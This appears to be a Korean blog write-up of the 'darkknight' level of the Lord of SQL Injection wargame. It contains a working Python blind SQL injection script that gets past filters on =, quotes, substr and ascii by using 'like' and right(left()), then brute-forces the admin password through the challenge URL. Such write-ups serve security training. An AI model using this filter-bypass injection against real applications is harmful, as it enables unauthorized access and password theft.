LOS - darkknight

2020. 5. 5. 21:41Web

screenshot1

이번에도 blind sql injection이다. 

=, ' , substr , ascii 등이 막혔다. 그럼 이번엔

length(pw) like %d

right(left(pw,%d),1) like %c

를 이용하여 문제를 풀어보았다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
 
#?pw=aaa&no=1 %26%26  id like "admin"  %26%26 length(pw) like 12
cookies = {
    "PHPSESSID" : "나의 PHPSESSID"
}
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
= 1
pw = ""
while True:
    payload = "?pw=aaa&no=1 || id like \"admin\"  %26%26 length(pw) like "+str(i)
    res = requests.get(url=url+payload,cookies=cookies)
    print("length is : %d" %i)
    if("Hello admin" in res.text):
        for j in range(1,i+1):
            for k in range(33,127):
                payload = "?pw=aaa&no=1 || id like \"admin\" %26%26 right(left(pw,"+str(j)+"),1)%20like%20\""+chr(k)+"\""
                res = requests.get(url=url+payload, cookies=cookies)
                print(chr(k),end="")
                if "Hello admin" in res.text:
                    pw += chr(k)
                    print("\npw : "+pw)
                    break
        break
    i+=1
 
print("\nlength of pw : %d" %i)
print("\npw : "+pw)
cs

screenshot2

 

screemshot3

 

비밀번호의 대소문자는 구한 값과 다르다 mysql의 대소문자 구별을 하지 않고 검색하고 php는 그렇지 않기때문에

알파벳의 대소문자는 그냥 유추했다.

'Web' 카테고리의 다른 글

LOS - giant  (0) 2020.05.06
LOS - bugbear  (0) 2020.05.06
LOS - golem  (1) 2020.05.05
LOS - skeleton  (0) 2020.05.05
LOS - vampire  (0) 2020.05.05